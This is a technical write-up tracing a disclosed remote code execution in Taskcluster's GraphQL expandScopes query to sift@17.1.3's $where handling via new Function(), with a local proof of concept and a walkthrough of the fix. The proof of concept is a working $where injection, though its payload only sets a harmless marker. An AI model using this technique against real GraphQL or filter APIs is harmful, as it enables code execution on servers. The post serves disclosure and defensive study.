Tracing Taskcluster's GraphQL Filter to new Function()

GraphQL Filter Expand Scopes Scope Loader Sift Where new Function()
GraphQL Filter to Code

TL;DR: In sift@17.1.3, an untrusted $where string can reach new Function() and run JavaScript in the Node.js process. If you build GraphQL APIs, search endpoints, or tools that pass filters to query libraries, allow only the fields and operators the application needs.

Taskcluster runs the jobs behind Mozilla’s continuous integration and release processes. Its disclosed remote code execution report described how the web server passed a GraphQL filter to sift, a package that filters JavaScript values with MongoDB-style queries. When the filter contained $where as a string, sift turned that string into JavaScript.

I wanted to check that result with the old source and a harmless marker: could a $where string sent to expandScopes really run?

Finding the vulnerable code

The Taskcluster repository was already available under targets/taskcluster. The fix landed in commit 54096fce72edae5c1b0e1de498ca81cddeffdf39, which made the previous commit the one to inspect:

cd targets/taskcluster
git log --oneline -1 54096fce72edae5c1b0e1de498ca81cddeffdf39

54096fce7 feat(ui,web): Remove sift dependency and simplify filtering

git rev-parse 54096fce7^

f48168b7c3a8a8f78c4463cde98c1218a9edc6c6

git switch --detach f48168b7c3a8a8f78c4463cde98c1218a9edc6c6

HEAD is now at f48168b7c Merge pull request #8710 from Eijebong/more-token-times

git log confirmed the fix commit, and git rev-parse returned its parent, f48168b7c3a8a8f78c4463cde98c1218a9edc6c6. git switch --detach opened that older source without moving the local main branch.

Following one filter value

scopes filter expanded scopes GraphQL filter Resolver DataLoader Auth Sift utility Array.filter Filtered scopes
Path of the GraphQL filter

The report named the expandScopes query. Searching the web server for that name showed where Taskcluster sent its scopes and filter arguments:

git grep -n 'expandScopes' -- services/web-server/src

services/web-server/src/graphql/Scopes.graphql:3:  expandScopes(scopes: [String]!, filter: JSON): [String]!
services/web-server/src/loaders/scopes.js:18:  const expandScopes = new DataLoader(queries =>
services/web-server/src/loaders/scopes.js:22:          const { scopes: expandedScopes } = await auth.expandScopes({ scopes });
services/web-server/src/loaders/scopes.js:34:    expandScopes,
services/web-server/src/login/scanner.js:62:        userScopes = (await auth.expandScopes({ scopes: [...user.scopes(), 'assume:anonymous'] })).scopes;
services/web-server/src/resolvers/Scopes.js:6:    expandScopes(parent, { scopes, filter }, { loaders }) {
services/web-server/src/resolvers/Scopes.js:7:      return loaders.expandScopes.load({ scopes, filter });
services/web-server/src/servers/oauth2.js:62:    const userScopes = (await auth.expandScopes({ scopes: currentUser.scopes() })).scopes;
services/web-server/src/servers/oauth2.js:129:    const userScopes = (await auth.expandScopes({ scopes: currentUser.scopes() })).scopes;

Scopes.graphql declared the field that clients could query. resolvers/Scopes.js contained its resolver, the function GraphQL called when a client requested expandScopes. loaders/scopes.js created a DataLoader, which grouped the values passed to .load() before running the function that handled them. The login and OAuth matches called Auth directly and did not receive this GraphQL filter.

In GraphQL, field arguments are the inputs supplied with a field. This field accepted two: scopes: [String]! required a list of Taskcluster permissions called scopes, and filter: JSON accepted the optional filter.

But what did JSON accept here? A scalar is a value that GraphQL reads as one unit. GraphQL provides five built-in scalars: Int, Float, String, Boolean, and ID. Taskcluster added JSON as another one:

git grep -n -E 'scalar JSON|GraphQLJSON' -- services/web-server/src
git grep -n -A 2 'graphql-type-json@npm' -- yarn.lock

services/web-server/src/graphql/Root.graphql:4:scalar JSON
services/web-server/src/resolvers/Root.js:2:import GraphQLJSON from 'graphql-type-json';
services/web-server/src/resolvers/Root.js:8:  JSON: GraphQLJSON,
yarn.lock:8099:"graphql-type-json@npm:^0.3.2":
yarn.lock-8100-  version: 0.3.2
yarn.lock:8101:  resolution: "graphql-type-json@npm:0.3.2"

Taskcluster mapped its JSON type to GraphQLJSON, which accepts JSON objects as input. The filter argument could therefore contain an object with a $where property.

The resolver showed where both GraphQL arguments went next:

git grep -n -C 1 'expandScopes(parent' -- services/web-server/src/resolvers/Scopes.js

services/web-server/src/resolvers/Scopes.js-5-    },
services/web-server/src/resolvers/Scopes.js:6:    expandScopes(parent, { scopes, filter }, { loaders }) {
services/web-server/src/resolvers/Scopes.js-7-      return loaders.expandScopes.load({ scopes, filter });

The resolver passed scopes and filter unchanged to loaders.expandScopes.load(). The DataLoader then asked Auth to expand the supplied scopes and passed Auth’s result with the original filter to a helper imported from ../utils/sift.js:

git grep -n -E "import sift|auth\.expandScopes|return sift\(filter, expandedScopes\)" -- services/web-server/src/loaders/scopes.js

services/web-server/src/loaders/scopes.js:2:import sift from '../utils/sift.js';
services/web-server/src/loaders/scopes.js:22:          const { scopes: expandedScopes } = await auth.expandScopes({ scopes });
services/web-server/src/loaders/scopes.js:24:          return sift(filter, expandedScopes);

Here, sift referred to Taskcluster’s utils/sift.js, not directly to the npm package. That file showed the final step:

git show HEAD:services/web-server/src/utils/sift.js

import sift from 'sift';

// Utility function for guarding against undefined/null arrays when using sift
export default (filter, array) => {
  if (!array) {
    return [];
  }
  return filter ? array.filter(sift(filter)) : array;
};

When filter had a value, the helper passed it to the npm package. sift(filter) returned a function, and array.filter(...) ran that function for each expanded scope. package.json, yarn.lock, and the installed package identified the exact version:

git grep -n '"sift":' -- package.json
git grep -n -A 2 'sift@npm:\^17.1.3' -- yarn.lock
node -p "require('./node_modules/sift/package.json').version"

package.json:123:    "sift": "^17.1.3",
yarn.lock:12343:"sift@npm:^17.1.3":
yarn.lock-12344-  version: 17.1.3
yarn.lock-12345-  resolution: "sift@npm:17.1.3"
17.1.3

All three values were 17.1.3, which confirmed that the GraphQL filter reached the installed package.

Finding the JavaScript execution

Yes No No Yes $where value Function? Use function CSP enabled? new Function Throw error Bind and call
The where execution branch

The remaining question was what sift@17.1.3 did with the $where string. The next commands unpacked that version and searched its code for $where:

mkdir -p /tmp/opencode/sift-blog
npm pack --silent sift@17.1.3 --pack-destination /tmp/opencode/sift-blog

sift-17.1.3.tgz

tar -xzf /tmp/opencode/sift-blog/sift-17.1.3.tgz -C /tmp/opencode/sift-blog
grep -n -E '^  "(main|version)"' /tmp/opencode/sift-blog/package/package.json
grep -n 'require("./lib")' /tmp/opencode/sift-blog/package/index.js
grep -n -A 12 'var \$where' /tmp/opencode/sift-blog/package/lib/index.js

4:  "version": "17.1.3",
36:  "main": "./index.js",
1:const lib = require("./lib");
695:    var $where = function (params, ownerQuery, options) {
696-        var test;
697-        if (isFunction(params)) {
698-            test = params;
699-        }
700-        else if (!process.env.CSP_ENABLED) {
701-            test = new Function("obj", "return " + params);
702-        }
703-        else {
704-            throw new Error("In CSP mode, sift does not support strings in \"$where\" condition");
705-        }
706-        return new EqualsOperation(function (b) { return test.bind(b)(b); }, ownerQuery, options);
707-    };

package.json pointed to index.js, and index.js loaded lib/index.js. In that file, line 701 passed the $where string to new Function() when CSP_ENABLED was missing or empty. new Function() turned the string into JavaScript, and line 706 ran it for each value. test.bind(b)(b) made that value available as both this and obj.

The next command sent a $where string through GraphQL and used pocMarker to show whether it ran.

Sending $where through GraphQL

Test GraphQL Loader Stub Auth Sift Marker Query scopes Load scopes Expand scopes Supplied scopes Filter scopes Set marker Retained scope Retained scope Response Test GraphQL Loader Stub Auth Sift Marker
Marker test without HTTP

Taskcluster’s package.json required Node.js 24.15.0, and the $where code only called new Function() when CSP_ENABLED was empty. Before sending the filter, this command checked the Node.js version, the installed sift version, and CSP_ENABLED:

git grep -n '"node": "24.15.0"' -- package.json
npx -y node@24.15.0 -p '[process.version, require("./node_modules/sift/package.json").version, String(process.env.CSP_ENABLED)].join("\n")' 2>/dev/null

package.json:8:    "node": "24.15.0"
v24.15.0
17.1.3
undefined

The output confirmed Node.js 24.15.0 and sift@17.1.3, while undefined meant CSP_ENABLED was not set. The string would therefore reach new Function().

The GraphQL command imported Taskcluster’s Scopes resolver and makeScopeLoaders, which used utils/sift.js and the installed sift package. The script declared the two fields that Scopes.js expected, and its auth.expandScopes() returned the supplied scopes instead of calling the Auth service.

pocMarker made the result easy to see. It started as pending, and the query passed assume:anonymous as the scope. The $where string copied String(this) into the marker and returned true, which would keep the scope in the GraphQL response. If the string ran, both the response and pocMarker would contain assume:anonymous:

npx -y node@24.15.0 --input-type=module 2>/dev/null <<'EOF'
import { graphql } from "graphql";
import { makeExecutableSchema } from "@graphql-tools/schema";
import GraphQLJSON from "graphql-type-json";
import Scopes from "./services/web-server/src/resolvers/Scopes.js";
import makeScopeLoaders from "./services/web-server/src/loaders/scopes.js";

globalThis.pocMarker = "pending";

const auth = {
  async expandScopes({ scopes }) {
    return { scopes };
  },
};

const schema = makeExecutableSchema({
  typeDefs: `
    scalar JSON
    type Query {
      currentScopes(filter: JSON): [String]!
      expandScopes(scopes: [String]!, filter: JSON): [String]!
    }
  `,
  resolvers: { JSON: GraphQLJSON, ...Scopes },
});

const result = await graphql({
  schema,
  source: `
    query Verify($scopes: [String]!, $filter: JSON) {
      expandScopes(scopes: $scopes, filter: $filter)
    }
  `,
  variableValues: {
    scopes: ["assume:anonymous"],
    filter: {
      $where: `(globalThis.pocMarker = String(this), true)`,
    },
  },
  contextValue: { loaders: makeScopeLoaders({ auth }) },
});

console.log(JSON.stringify(result));
console.log(globalThis.pocMarker);
EOF

{"data":{"expandScopes":["assume:anonymous"]}}
assume:anonymous

The GraphQL response contained assume:anonymous because $where returned true, and the next line showed the same value in pocMarker. The marker had started as pending, which meant the $where string had run and copied the scope into it.

This command called graphql() directly, without starting Taskcluster’s HTTP server, and its auth.expandScopes() returned the supplied scopes without contacting the Auth service. A running Taskcluster server passed the credentials from the incoming GraphQL request to its Auth client, and the Auth route required auth:expand-scopes. The result shows what happened after Auth returned the scopes, but it does not show who could send this query to a running Taskcluster server.

That left one more question: what happens if the filter is sent to the web server instead of calling graphql() from a script?

The test in this separate repository starts the old Taskcluster web server on 127.0.0.1. It then uses curl, a command for making web requests, to send the filter to /graphql. curl received HTTP 200, which means the request succeeded. At the same time, the server terminal printed POC: $where ran inside the server for assume:anonymous. The message came from the string inside $where, which confirms that the string ran after the request arrived through /graphql.

alt text

Auth is not running in this test. A small local function takes its place and gives back the same scopes it receives, just like the function in the earlier graphql() test. This test shows that a request sent to /graphql can reach $where after that function returns, but it cannot tell us whether the real Auth service would allow an anonymous user to send the request.

How Taskcluster fixed it

Before Fix After Fix filter Scopes + filter Loader Auth sift → Result Scopes only Loader + Auth Result
Filter path before and after

The fix removed filter from both GraphQL fields:

git show 54096fce72edae5c1b0e1de498ca81cddeffdf39:services/web-server/src/graphql/Scopes.graphql

extend type Query {
  currentScopes: [String]!
  expandScopes(scopes: [String]!): [String]!
}

currentScopes and expandScopes no longer accepted a filter, which stopped clients from sending $where through these queries. The loader also stopped calling sift:

git diff --unified=1 f48168b7c3a8a8f78c4463cde98c1218a9edc6c6 54096fce72edae5c1b0e1de498ca81cddeffdf39 -- services/web-server/src/loaders/scopes.js

diff --git a/services/web-server/src/loaders/scopes.js b/services/web-server/src/loaders/scopes.js
index b37ef724c..a35c35058 100644
--- a/services/web-server/src/loaders/scopes.js
+++ b/services/web-server/src/loaders/scopes.js
@@ -1,3 +1,2 @@
 import DataLoader from 'dataloader';
-import sift from '../utils/sift.js';

@@ -6,3 +5,3 @@ export default ({ auth }, isAuthed, rootUrl, monitor, strategies, req, cfg, requ
     Promise.all(
-      queries.map(async ({ filter }) => {
+      queries.map(async () => {
         try {
@@ -10,3 +9,3 @@ export default ({ auth }, isAuthed, rootUrl, monitor, strategies, req, cfg, requ

-          return sift(filter, scopes);
+          return scopes;
         } catch (err) {
@@ -19,3 +18,3 @@ export default ({ auth }, isAuthed, rootUrl, monitor, strategies, req, cfg, requ
     Promise.all(
-      queries.map(async ({ scopes, filter }) => {
+      queries.map(async ({ scopes }) => {
         try {
@@ -23,3 +22,3 @@ export default ({ auth }, isAuthed, rootUrl, monitor, strategies, req, cfg, requ

-          return sift(filter, expandedScopes);
+          return expandedScopes;
         } catch (err) {

Both functions now returned the scopes from Auth without filtering them. The commit deleted utils/sift.js and removed the dependency from package.json:

git diff --name-status f48168b7c3a8a8f78c4463cde98c1218a9edc6c6 54096fce72edae5c1b0e1de498ca81cddeffdf39 -- services/web-server/src/utils/sift.js

D services/web-server/src/utils/sift.js

git diff --unified=0 f48168b7c3a8a8f78c4463cde98c1218a9edc6c6 54096fce72edae5c1b0e1de498ca81cddeffdf39 -- package.json

diff --git a/package.json b/package.json
index 5b63afa31..55ebc35ef 100644
--- a/package.json
+++ b/package.json
@@ -123 +122,0 @@
-    "sift": "^17.1.3",

With no filter argument and no call to sift, $where could no longer enter through these GraphQL queries. expandScopes now accepted only the list of scopes it needed to expand.

Summary

Taskcluster accepted a JSON filter in GraphQL and passed it through the resolver and loader to sift@17.1.3. When that filter contained $where as a string, sift turned the string into JavaScript with new Function() and called it with assume:anonymous, the scope returned by Auth.

The fix removed the filter from the GraphQL schema, returned the scopes without sending them to sift, and removed the package from Taskcluster. If an API accepts a whole filter object, check what the package does with it. When an endpoint only needs a few fields and comparisons, accept those values directly instead of passing a query language to another package.